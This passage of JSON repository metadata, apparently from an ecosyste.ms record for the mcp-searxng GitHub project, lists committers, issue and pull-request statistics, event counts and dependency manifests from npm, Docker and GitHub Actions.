Jiwani","email":"108548454+JiwaniZakir","login":"JiwaniZakir","count":1},{"name":"github-actions[bot]","email":"github-actions[bot]","login":"github-actions[bot]","count":1},{"name":"lucdev","email":"me@lucdev.net","login":"lucrnz","count":1},{"name":"triepod-ai","email":"199543909+triepod-ai","login":"triepod-ai","count":1}],"past_year_committers":[{"name":"ihor-sokoliuk","email":"yaaappee@gmail.com","login":"ihor-sokoliuk","count":493},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":38},{"name":"copilot-swe-agent[bot]","email":"198982749+Copilot","login":"Copilot","count":7},{"name":"杜勇","email":"531014023@qq.com","login":"531014023","count":5},{"name":"Joe Maples","email":"joe@maples.dev","login":"frap129","count":4},{"name":"wchy1128","email":"wchy1128","login":"wchy1128","count":2},{"name":"sawork1987","email":"sawork1987@yandex.ru","login":"sawork1987","count":2},{"name":"eebrian123tw01","email":"eebrian123tw01@gmail.com","login":"eebrian123tw01","count":2},{"name":"Sebastion","email":"sebastion@sebastion.dev","login":"sebastiondev","count":2},{"name":"Michael Trullas Garcia","email":"adoser2@hotmail.es","login":"michaeltg17","count":2},{"name":"triepod-ai","email":"199543909+triepod-ai","login":"triepod-ai","count":1},{"name":"Zakir Jiwani","email":"108548454+JiwaniZakir","login":"JiwaniZakir","count":1},{"name":"Shaun Eccles","email":"shauneccles@gmail.com","login":"shauneccles","count":1},{"name":"SamAcctX","email":"87765660+SamAcctX","login":"SamAcctX","count":1},{"name":"MikeWang0316tw","email":"br70316@gmail.com","login":"MikeWang0316tw","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-10-17T00:00:08.426Z","repositories_count":8393120,"commits_count":1273012764,"contributors_count":58305005,"owners_count":1785198,"committers_count":3834187,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"ihor-sokoliuk/mcp-searxng","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","last_synced_at":"2026-10-16T16:46:47.397Z","status":null,"issues_count":25,"pull_requests_count":158,"avg_time_to_close_issue":1215908.8125,"avg_time_to_close_pull_request":193750.85507246378,"issues_closed_count":16,"pull_requests_closed_count":138,"pull_request_authors_count":25,"issue_authors_count":25,"avg_comments_per_issue":3.36,"avg_comments_per_pull_request":1.879746835443038,"merged_pull_requests_count":102,"bot_issues_count":0,"bot_pull_requests_count":57,"past_year_issues_count":15,"past_year_pull_requests_count":149,"past_year_avg_time_to_close_issue":1460293.75,"past_year_avg_time_to_close_pull_request":193221.37313432837,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":134,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":15,"past_year_avg_comments_per_issue":3.0,"past_year_avg_comments_per_pull_request":1.9865771812080537,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":57,"past_year_merged_pull_requests_count":98,"created_at":"2025-08-29T13:39:15.872Z","updated_at":"2026-10-16T16:46:47.397Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/issues","issue_labels_count":{"table":{}},"pull_request_labels_count":{"table":{"dependencies":57,"javascript":34,"github_actions":18,"docker":2}},"issue_author_associations_count":{"table":{"NONE":24,"CONTRIBUTOR":1}},"pull_request_author_associations_count":{"table":{"OWNER":77,"CONTRIBUTOR":58,"NONE":23}},"issue_authors":{"table":{"akanouras":1,"YugantM":1,"FlixCoder":1,"GautamTalksDev":1,"Swiftproxy-net":1,"MircoBlitz":1,"jackjinke":1,"iknox":1,"williamjshipman":1,"ferocknew":1,"Twilight-9":1,"TombStoneDash":1,"Dreyk-Zer0":1,"octograb":1,"ShayBox":1,"fpfcmsr":1,"lixh00":1,"shauneccles":1,"Lulu-The-Narwhal":1,"gefsikatsinelou":1,"multitrack-collector":1,"rwlove":1,"j4ys0n":1,"fmferrari":1,"billy4479":1}},"pull_request_authors":{"table":{"ihor-sokoliuk":77,"dependabot[bot]":53,"mcp-searxng-codex-ihor[bot]":4,"iknox":2,"cdzombak":2,"nsrkn2n":1,"modelsbridgeaicom-ship-it":1,"lucrnz":1,"sawork1987":1,"shauneccles":1,"Naroh091":1,"sebastionoss":1,"tdhooghe":1,"calclavia":1,"genkernel":1,"huytd":1,"stufently":1,"mouse-value-add":1,"hutchisr":1,"punkpeye":1,"Skelectric":1,"Matvey-Kuk":1,"wchy1128":1,"edwardfalk":1,"ky-ko":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-10-17T00:00:08.358Z","repositories_count":18066790,"issues_count":48527385,"pull_requests_count":149829878,"authors_count":12039152,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{"dependencies":57,"javascript":34,"github_actions":18,"docker":2}},"past_year_issue_author_associations_count":{"table":{"NONE":14,"CONTRIBUTOR":1}},"past_year_pull_request_author_associations_count":{"table":{"OWNER":77,"CONTRIBUTOR":57,"NONE":15}},"past_year_issue_authors":{"table":{"billy4479":1,"FlixCoder":1,"fpfcmsr":1,"GautamTalksDev":1,"gefsikatsinelou":1,"iknox":1,"Lulu-The-Narwhal":1,"MircoBlitz":1,"octograb":1,"rwlove":1,"shauneccles":1,"ShayBox":1,"Swiftproxy-net":1,"TombStoneDash":1,"YugantM":1}},"past_year_pull_request_authors":{"table":{"ihor-sokoliuk":77,"dependabot[bot]":53,"mcp-searxng-codex-ihor[bot]":4,"iknox":2,"wchy1128":1,"tdhooghe":1,"stufently":1,"Skelectric":1,"shauneccles":1,"sebastionoss":1,"sawork1987":1,"nsrkn2n":1,"Naroh091":1,"mouse-value-add":1,"modelsbridgeaicom-ship-it":1,"ky-ko":1,"edwardfalk":1}},"maintainers":[{"table":{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}}],"active_maintainers":[{"table":{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}}]}},"events":{"total":{"CreateEvent":46,"DeleteEvent":48,"ForkEvent":56,"IssueCommentEvent":90,"IssuesEvent":29,"PullRequestEvent":45,"PullRequestReviewCommentEvent":30,"PullRequestReviewEvent":40,"PushEvent":155,"ReleaseEvent":12,"WatchEvent":305},"last_year":{"CreateEvent":29,"DeleteEvent":47,"ForkEvent":15,"IssueCommentEvent":44,"IssuesEvent":15,"PullRequestEvent":31,"PullRequestReviewCommentEvent":27,"PullRequestReviewEvent":28,"PushEvent":117,"ReleaseEvent":2,"WatchEvent":131}},"keywords":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"dependencies":[{"ecosystem":"docker","filepath":"Dockerfile","sha":null,"kind":"manifest","created_at":"2024-12-30T22:32:09.740Z","updated_at":"2024-12-30T22:32:09.740Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/Dockerfile","dependencies":[{"id":21325688608,"package_name":"node","ecosystem":"docker","requirements":"22.12-alpine","direct":true,"kind":"build","optional":false},{"id":21325688609,"package_name":"node","ecosystem":"docker","requirements":"22-alpine","direct":true,"kind":"build","optional":false}]},{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2024-12-30T22:32:09.808Z","updated_at":"2024-12-30T22:32:09.808Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/package.json","dependencies":[{"id":21325688740,"package_name":"@modelcontextprotocol/sdk","ecosystem":"npm","requirements":"1.0.1","direct":true,"kind":"runtime","optional":false},{"id":21325688741,"package_name":"@types/node","ecosystem":"npm","requirements":"^22.10.2","direct":true,"kind":"development","optional":false},{"id":21325688742,"package_name":"shx","ecosystem":"npm","requirements":"^0.3.4","direct":true,"kind":"development","optional":false},{"id":21325688743,"package_name":"typescript","ecosystem":"npm","requirements":"^5.7.2","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/npm-publish.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:05.754Z","updated_at":"2026-08-27T15:45:05.754Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/npm-publish.yml","dependencies":[{"id":26321274215,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321274216,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"820762786026740c76f36085b0efc47a31fe5020","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/codeql.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:04.360Z","updated_at":"2026-08-27T15:45:04.360Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/codeql.yml","dependencies":[{"id":26321272013,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321272014,"package_name":"github/codeql-action/init","ecosystem":"actions","requirements":"ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd","direct":true,"kind":"composite","optional":false},{"id":26321272015,"package_name":"github/codeql-action/analyze","ecosystem":"actions","requirements":"ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/docker-publish.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:04.813Z","updated_at":"2026-08-27T15:45:04.813Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/docker-publish.yml","dependencies":[{"id":26321274166,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321274167,"package_name":"docker/setup-buildx-action","ecosystem":"actions","requirements":"37fe631027851001ddb9b187196cc803df7f5f0e","direct":true,"kind":"composite","optional":false},{"id":26321274168,"package_name":"docker/metadata-action","ecosystem":"actions","requirements":"dc802804100637a589fabce1cb79ff13a1411302","direct":true,"kind":"composite","optional":false},{"id":26321274169,"package_name":"docker/build-push-action","ecosystem":"actions","requirements":"53b7df96c91f9c12dcc8a07bcb9ccacbed38856a","direct":true,"kind":"composite","optional":false},{"id":26321274170,"package_name":"aquasecurity/trivy-action","ecosystem":"actions","requirements":"ed142fd0673e97e23eac54620cfb913e5ce36c25","direct":true,"kind":"composite","optional":false},{"id":26321274171,"package_name":"github/codeql-action/upload-sarif","ecosystem":"actions","requirements":"ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd","direct":true,"kind":"composite","optional":false},{"id":26321274172,"package_name":"docker/setup-qemu-action","ecosystem":"actions","requirements":"96fe6ef7f33517b61c61be40b68a1882f3264fb8","direct":true,"kind":"composite","optional":false},{"id":26321274173,"package_name":"docker/login-action","ecosystem":"actions","requirements":"dbcb813823bdd20940b903addbd779551569679f","direct":true,"kind":"composite","optional":false},{"id":26321274174,"package_name":"sigstore/cosign-installer","ecosystem":"actions","requirements":"6f9f17788090df1f26f669e9d70d6ae9567deba6","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/docker-rebuild.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:05.327Z","updated_at":"2026-08-27T15:45:05.327Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/docker-rebuild.yml","dependencies":[{"id":26321274189,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321274190,"package_name":"docker/setup-buildx-action","ecosystem":"actions","requirements":"37fe631027851001ddb9b187196cc803df7f5f0e","direct":true,"kind":"composite","optional":false},{"id":26321274191,"package_name":"docker/build-push-action","ecosystem":"actions","requirements":"53b7df96c91f9c12dcc8a07bcb9ccacbed38856a","direct":true,"kind":"composite","optional":false},{"id":26321274192,"package_name":"aquasecurity/trivy-action","ecosystem":"actions","requirements":"ed142fd0673e97e23eac54620cfb913e5ce36c25","direct":true,"kind":"composite","optional":false},{"id":26321274193,"package_name":"github/codeql-action/upload-sarif","ecosystem":"actions","requirements":"ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd","direct":true,"kind":"composite","optional":false},{"id":26321274194,"package_name":"docker/setup-qemu-action","ecosystem":"actions","requirements":"96fe6ef7f33517b61c61be40b68a1882f3264fb8","direct":true,"kind":"composite","optional":false},{"id":26321274195,"package_name":"docker/login-action","ecosystem":"actions","requirements":"dbcb813823bdd20940b903addbd779551569679f","direct":true,"kind":"composite","optional":false},{"id":26321274196,"package_name":"sigstore/cosign-installer","ecosystem":"actions","requirements":"6f9f17788090df1f26f669e9d70d6ae9567deba6","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"docker-compose.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:06.665Z","updated_at":"2026-08-27T15:45:06.665Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/docker-compose.yml","dependencies":[{"id":26321276795,"package_name":"isokoliuk/mcp-searxng","ecosystem":"docker","requirements":"latest","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"npm","filepath":"package-lock.json","sha":null,"kind":"lockfile","created_at":"2026-08-27T15:45:07.048Z","updated_at":"2026-08-27T15:45:07.048Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/package-lock.json","dependencies":[{"id":26321277468,"package_name":"@bcoe/v8-coverage","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":26321277469,"package_name":"@epic-web/invariant","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277470,"package_name":"@esbuild/aix-ppc64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277471,"package_name":"@esbuild/android-arm","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277472,"package_name":"@esbuild/android-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277473,"package_name":"@esbuild/android-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277474,"package_name":"@esbuild/darwin-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277475,"package_name":"@esbuild/darwin-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277476,"package_name":"@esbuild/freebsd-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277477,"package_name":"@esbuild/freebsd-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277478,"package_name":"@esbuild/linux-arm","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277479,"package_name":"@esbuild/linux-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277480,"package_name":"@esbuild/linux-ia32","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277481,"package_name":"@esbuild/linux-loong64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277482,"package_name":"@esbuild/linux-mips64el","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277483,"package_name":"@esbuild/linux-ppc64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277484,"package_name":"@esbuild/linux-riscv64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277485,"package_name":"@esbuild/linux-s390x","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277486,"package_name":"@esbuild/linux-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277487,"package_name":"@esbuild/netbsd-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277488,"package_name":"@esbuild/netbsd-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277489,"package_name":"@esbuild/openbsd-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277490,"package_name":"@esbuild/openbsd-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277491,"package_name":"@esbuild/openharmony-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277492,"package_name":"@esbuild/sunos-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277493,"package_name":"@esbuild/win32-arm64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277494,"package_name":"@esbuild/win32-ia32","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277495,"package_name":"@esbuild/win32-x64","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277496,"package_name":"@eslint-community/eslint-utils","ecosystem":"npm","requirements":"4.9.1","direct":false,"kind":"development","optional":false},{"id":26321277497,"package_name":"@eslint-community/regexpp","ecosystem":"npm","requirements":"4.12.2","direct":false,"kind":"development","optional":false},{"id":26321277498,"package_name":"@eslint/config-array","ecosystem":"npm","requirements":"0.23.5","direct":false,"kind":"development","optional":false},{"id":26321277499,"package_name":"@eslint/config-helpers","ecosystem":"npm","requirements":"0.7.0","direct":false,"kind":"development","optional":false},{"id":26321277500,"package_name":"@eslint/core","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":26321277501,"package_name":"@eslint/object-schema","ecosystem":"npm","requirements":"3.0.5","direct":false,"kind":"development","optional":false},{"id":26321277502,"package_name":"@eslint/plugin-kit","ecosystem":"npm","requirements":"0.7.2","direct":false,"kind":"development","optional":false},{"id":26321277503,"package_name":"@humanfs/core","ecosystem":"npm","requirements":"0.19.2","direct":false,"kind":"development","optional":false},{"id":26321277504,"package_name":"@humanfs/node","ecosystem":"npm","requirements":"0.16.8","direct":false,"kind":"development","optional":false},{"id":26321277505,"package_name":"@humanfs/types","ecosystem":"npm","requirements":"0.15.0","direct":false,"kind":"development","optional":false},{"id":26321277506,"package_name":"@humanwhocodes/module-importer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":26321277507,"package_name":"@humanwhocodes/retry","ecosystem":"npm","requirements":"0.4.3","direct":false,"kind":"development","optional":false},{"id":26321277508,"package_name":"@istanbuljs/schema","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"development","optional":false},{"id":26321277509,"package_name":"@jridgewell/resolve-uri","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":26321277510,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.5.5","direct":false,"kind":"development","optional":false},{"id":26321277511,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.31","direct":false,"kind":"development","optional":false},{"id":26321277512,"package_name":"@modelcontextprotocol/client","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":26321277513,"package_name":"@modelcontextprotocol/core","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277514,"package_name":"@modelcontextprotocol/node","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277515,"package_name":"@hono/node-server","ecosystem":"npm","requirements":"1.19.17","direct":false,"kind":"runtime","optional":false},{"id":26321277516,"package_name":"@modelcontextprotocol/server","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277517,"package_name":"@noble/hashes","ecosystem":"npm","requirements":"1.8.0","direct":false,"kind":"development","optional":false},{"id":26321277518,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"development","optional":false},{"id":26321277519,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":26321277520,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":26321277521,"package_name":"@paralleldrive/cuid2","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":26321277522,"package_name":"@types/body-parser","ecosystem":"npm","requirements":"1.19.6","direct":false,"kind":"runtime","optional":false},{"id":26321277523,"package_name":"@types/connect","ecosystem":"npm","requirements":"3.4.38","direct":false,"kind":"runtime","optional":false},{"id":26321277524,"package_name":"@types/cookiejar","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"development","optional":false},{"id":26321277525,"package_name":"@types/cors","ecosystem":"npm","requirements":"2.8.19","direct":false,"kind":"runtime","optional":false},{"id":26321277526,"package_name":"@types/esrecurse","ecosystem":"npm","requirements":"4.3.1","direct":false,"kind":"development","optional":false},{"id":26321277527,"package_name":"@types/estree","ecosystem":"npm","requirements":"1.0.9","direct":false,"kind":"development","optional":false},{"id":26321277528,"package_name":"@types/express","ecosystem":"npm","requirements":"5.0.6","direct":false,"kind":"runtime","optional":false},{"id":26321277529,"package_name":"@types/express-serve-static-core","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277530,"package_name":"@types/http-errors","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":26321277531,"package_name":"@types/istanbul-lib-coverage","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":26321277532,"package_name":"@types/json-schema","ecosystem":"npm","requirements":"7.0.15","direct":false,"kind":"development","optional":false},{"id":26321277533,"package_name":"@types/methods","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":26321277534,"package_name":"@types/node","ecosystem":"npm","requirements":"22.20.1","direct":false,"kind":"runtime","optional":false},{"id":26321277535,"package_name":"@types/qs","ecosystem":"npm","requirements":"6.14.0","direct":false,"kind":"runtime","optional":false},{"id":26321277536,"package_name":"@types/range-parser","ecosystem":"npm","requirements":"1.2.7","direct":false,"kind":"runtime","optional":false},{"id":26321277537,"package_name":"@types/send","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26321277538,"package_name":"@types/serve-static","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277539,"package_name":"@types/superagent","ecosystem":"npm","requirements":"8.1.9","direct":false,"kind":"development","optional":false},{"id":26321277540,"package_name":"@types/supertest","ecosystem":"npm","requirements":"7.2.1","direct":false,"kind":"development","optional":false},{"id":26321277541,"package_name":"@typescript-eslint/eslint-plugin","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277542,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277543,"package_name":"@typescript-eslint/project-service","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277544,"package_name":"@typescript-eslint/scope-manager","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277545,"package_name":"@typescript-eslint/tsconfig-utils","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277546,"package_name":"@typescript-eslint/type-utils","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277547,"package_name":"@typescript-eslint/types","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277548,"package_name":"@typescript-eslint/typescript-estree","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277549,"package_name":"@typescript-eslint/utils","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277550,"package_name":"@typescript-eslint/visitor-keys","ecosystem":"npm","requirements":"8.67.0","direct":false,"kind":"development","optional":false},{"id":26321277551,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":26321277552,"package_name":"accepts","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277553,"package_name":"acorn","ecosystem":"npm","requirements":"8.16.0","direct":false,"kind":"development","optional":false},{"id":26321277554,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"development","optional":false},{"id":26321277555,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":26321277556,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":26321277557,"package_name":"asap","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":26321277558,"package_name":"asynckit","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":26321277559,"package_name":"balanced-match","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"development","optional":false},{"id":26321277560,"package_name":"body-parser","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{"id":26321277561,"package_name":"content-type","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277562,"package_name":"boolbase","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277563,"package_name":"brace-expansion","ecosystem":"npm","requirements":"5.0.9","direct":false,"kind":"development","optional":false},{"id":26321277564,"package_name":"braces","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"development","optional":false},{"id":26321277565,"package_name":"bytes","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":26321277566,"package_name":"c8","ecosystem":"npm","requirements":"11.0.0","direct":false,"kind":"development","optional":false},{"id":26321277567,"package_name":"call-bind-apply-helpers","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277568,"package_name":"call-bound","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":26321277569,"package_name":"cliui","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"development","optional":false},{"id":26321277570,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":26321277571,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":26321277572,"package_name":"combined-stream","ecosystem":"npm","requirements":"1.0.8","direct":false,"kind":"development","optional":false},{"id":26321277573,"package_name":"component-emitter","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":26321277574,"package_name":"content-disposition","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277575,"package_name":"content-type","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":26321277576,"package_name":"convert-source-map","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":26321277577,"package_name":"cookie","ecosystem":"npm","requirements":"0.7.2","direct":false,"kind":"runtime","optional":false},{"id":26321277578,"package_name":"cookie-signature","ecosystem":"npm","requirements":"1.2.2","direct":false,"kind":"runtime","optional":false},{"id":26321277579,"package_name":"cookiejar","ecosystem":"npm","requirements":"2.1.4","direct":false,"kind":"development","optional":false},{"id":26321277580,"package_name":"cors","ecosystem":"npm","requirements":"2.8.6","direct":false,"kind":"runtime","optional":false},{"id":26321277581,"package_name":"cross-env","ecosystem":"npm","requirements":"10.1.0","direct":false,"kind":"development","optional":false},{"id":26321277582,"package_name":"cross-spawn","ecosystem":"npm","requirements":"7.0.6","direct":false,"kind":"development","optional":false},{"id":26321277583,"package_name":"css-select","ecosystem":"npm","requirements":"5.2.2","direct":false,"kind":"runtime","optional":false},{"id":26321277584,"package_name":"css-what","ecosystem":"npm","requirements":"6.2.2","direct":false,"kind":"runtime","optional":false},{"id":26321277585,"package_name":"debug","ecosystem":"npm","requirements":"4.4.3","direct":false,"kind":"runtime","optional":false},{"id":26321277586,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":26321277587,"package_name":"delayed-stream","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277588,"package_name":"depd","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277589,"package_name":"dezalgo","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":26321277590,"package_name":"dom-serializer","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277591,"package_name":"domelementtype","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"runtime","optional":false},{